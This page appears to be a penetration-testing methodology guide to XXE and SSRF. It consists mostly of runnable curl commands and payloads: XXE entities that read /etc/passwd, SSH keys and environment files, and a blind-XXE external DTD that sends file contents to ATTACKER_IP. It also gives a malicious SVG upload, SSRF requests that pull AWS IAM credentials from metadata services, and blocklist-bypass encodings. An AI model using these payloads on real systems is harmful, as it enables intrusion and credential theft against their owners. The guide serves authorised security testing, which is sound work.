XXE & SSRF
WSTG-INPVAL-07, WSTG-INPVAL-19
XXE - XML External Entity Injectionβ
Understanding XXEβ
XML External Entity (XXE) injection occurs when an XML parser processes user-supplied XML that includes a reference to an external entity. If the parser is configured to resolve external entities (which is the default in many parsers), the attacker can:
- Read arbitrary files from the server filesystem
- Perform SSRF via the XML parser (access internal services)
- In some configurations, achieve remote code execution
Where to look for XXE:
- Any endpoint that accepts XML in the request body (
Content-Type: application/xmlortext/xml) - File upload of XML-based formats:
.docx,.xlsx,.pptx,.svg,.gpx,.kml - SOAP web services
- REST APIs that accept XML as an alternative to JSON
Basic XXE - Local File Readβ
# Standard XXE payload - read /etc/passwd
curl -si -X POST http://target.com/parse \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root><data>&xxe;</data></root>'
# Windows target - read system file
curl -si -X POST http://target.com/parse \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts">]>
<root><data>&xxe;</data></root>'
# Other high-value Linux files to target
# file:///etc/shadow (credentials - requires root)
# file:///etc/hosts (internal hostnames)
# file:///proc/self/environ (environment variables - may contain credentials)
# file:///var/www/html/config.php (application config with DB credentials)
# file:///home/<user>/.ssh/id_rsa (private SSH keys)
If the response doesn't directly include file content, the application may still be processing the entity but not outputting it - this is blind XXE. Use out-of-band techniques below.
XXE via SSRF - Internal Service Accessβ
The XML parser will make HTTP/HTTPS requests on behalf of the server. Use this to probe internal services:
# Probe internal HTTP service (e.g., internal API on port 8080)
curl -si -X POST http://target.com/parse \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://127.0.0.1:8080/admin">]>
<root><data>&xxe;</data></root>'
# AWS EC2 metadata service - extract IAM credentials
curl -si -X POST http://target.com/parse \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">]>
<root><data>&xxe;</data></root>'
Blind XXE - Out-of-Band Data Exfiltrationβ
When the response doesn't reflect the file content, exfiltrate via DNS or HTTP to a server you control.
# Start a listener on Kali
nc -lvnp 8080
# Blind XXE via HTTP callback - confirms parser resolves external entities
curl -si -X POST http://target.com/parse \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://ATTACKER_IP:8080/xxe-test">]>
<root><data>&xxe;</data></root>'
# Exfiltrate file content via HTTP parameter (requires external DTD hosting)
# Host this DTD on your attacker machine at http://ATTACKER_IP/evil.dtd:
# <!ENTITY % file SYSTEM "file:///etc/passwd">
# <!ENTITY % exfil "<!ENTITY % send SYSTEM 'http://ATTACKER_IP/?data=%file;'>">
# %exfil;
# %send;
curl -si -X POST http://target.com/parse \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % dtd SYSTEM "http://ATTACKER_IP/evil.dtd">%dtd;]>
<root><data>test</data></root>'
XXE in File Uploadsβ
Office documents (.docx, .xlsx) are ZIP archives containing XML files. SVG files are also XML.
# Create a malicious SVG - if the server processes/renders SVGs, XXE executes
cat > /tmp/evil.svg << 'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<svg xmlns="http://www.w3.org/2000/svg">
<text>&xxe;</text>
</svg>
EOF
# Upload it to any image/file upload endpoint that accepts SVG
curl -si -X POST http://target.com/upload \
-F "file=@/tmp/evil.svg"
SSRF - Server-Side Request Forgeryβ
Understanding SSRFβ
SSRF occurs when a web application fetches a remote resource based on user-supplied input (a URL, hostname, or IP address) without properly validating that it's an allowed destination. The server makes the request on the attacker's behalf - from the server's network perspective, not the attacker's.
Why SSRF is critical: The application server typically has access to internal services that are not reachable from the internet - internal APIs, databases, cloud metadata services, admin interfaces, and internal network hosts. SSRF turns the application server into a proxy into the internal network.
Where to look for SSRF:
- URL parameters:
?url=,?link=,?redirect=,?src=,?image=,?fetch=,?load= - Webhook configuration - "notify me at URL X when event Y happens"
- PDF/screenshot generators - user supplies a URL to render
- Import/export functionality - "import data from URL"
- Profile avatar fetch-by-URL features
- Any feature that fetches remote content on behalf of the user
Basic SSRF Detectionβ
# Test 1: Redirect to localhost - does the response change?
curl -si "http://target.com/fetch?url=http://127.0.0.1/"
curl -si "http://target.com/fetch?url=http://localhost/"
# Test 2: Internal RFC-1918 ranges
curl -si "http://target.com/fetch?url=http://192.168.1.1/"
curl -si "http://target.com/fetch?url=http://10.0.0.1/"
curl -si "http://target.com/fetch?url=http://172.16.0.1/"
# Test 3: Non-standard port on localhost - probe internal services
curl -si "http://target.com/fetch?url=http://127.0.0.1:22/" # SSH
curl -si "http://target.com/fetch?url=http://127.0.0.1:3306/" # MySQL
curl -si "http://target.com/fetch?url=http://127.0.0.1:6379/" # Redis
curl -si "http://target.com/fetch?url=http://127.0.0.1:8080/" # Internal web
curl -si "http://target.com/fetch?url=http://127.0.0.1:9200/" # Elasticsearch
Response interpretation:
- Different response size/content for
127.0.0.1vs. a non-existent host = SSRF confirmed - Connection refused errors for some ports but not others = internal port scanning via SSRF
- Timeout on some ports = port is filtered (but host is reachable)
Cloud Metadata Serviceβ
The highest-impact SSRF target in cloud-hosted applications:
# AWS EC2 IMDSv1 - no auth required
curl -si "http://target.com/fetch?url=http://169.254.169.254/latest/meta-data/"
curl -si "http://target.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# Follow up - get the actual credential set
curl -si "http://target.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME"
# Returns AccessKeyId, SecretAccessKey, Token - usable with AWS CLI for account compromise
# Google Cloud metadata
curl -si "http://target.com/fetch?url=http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token"
# Requires: Metadata-Flavor: Google header - may be blocked
# Azure metadata
curl -si "http://target.com/fetch?url=http://169.254.169.254/metadata/instance?api-version=2021-02-01"
Exfiltrating AWS IAM credentials via SSRF to the cloud metadata service is one of the highest-impact web vulnerabilities possible - it can give an attacker full control of the AWS account. Document and escalate immediately.
Blind SSRFβ
When the response doesn't return the fetched content, use out-of-band detection:
# Set up a listener
nc -lvnp 8080
# Trigger a callback to your attacker machine
curl -si "http://target.com/fetch?url=http://ATTACKER_IP:8080/ssrf-test"
# DNS-based - use a unique subdomain (look in DNS logs or use Burp Collaborator equivalent)
curl -si "http://target.com/fetch?url=http://ssrf-test.ATTACKER_DOMAIN/"
SSRF Filter Bypassβ
Applications often implement blocklists against 127.0.0.1, localhost, and RFC-1918 ranges. Bypass techniques:
# Decimal/octal/hex encoding of 127.0.0.1
http://2130706433/ # Decimal representation of 127.0.0.1
http://0x7f000001/ # Hex
http://0177.0000.0000.0001/ # Octal
# IPv6 loopback
http://[::1]/
http://[0:0:0:0:0:ffff:127.0.0.1]/
# DNS rebinding / redirect - point your domain to 127.0.0.1
# http://ssrf.ATTACKER_DOMAIN/ -> (DNS resolves to 127.0.0.1)
# URL short schemes
http://target.com/fetch?url=dict://127.0.0.1:6379/info # Redis commands via dict://
http://target.com/fetch?url=file:///etc/passwd # File read via file://
http://target.com/fetch?url=gopher://127.0.0.1:6379/_INFO # Gopher - powerful protocol
# Case variation
http://LocalHost/
http://LOCALHOST/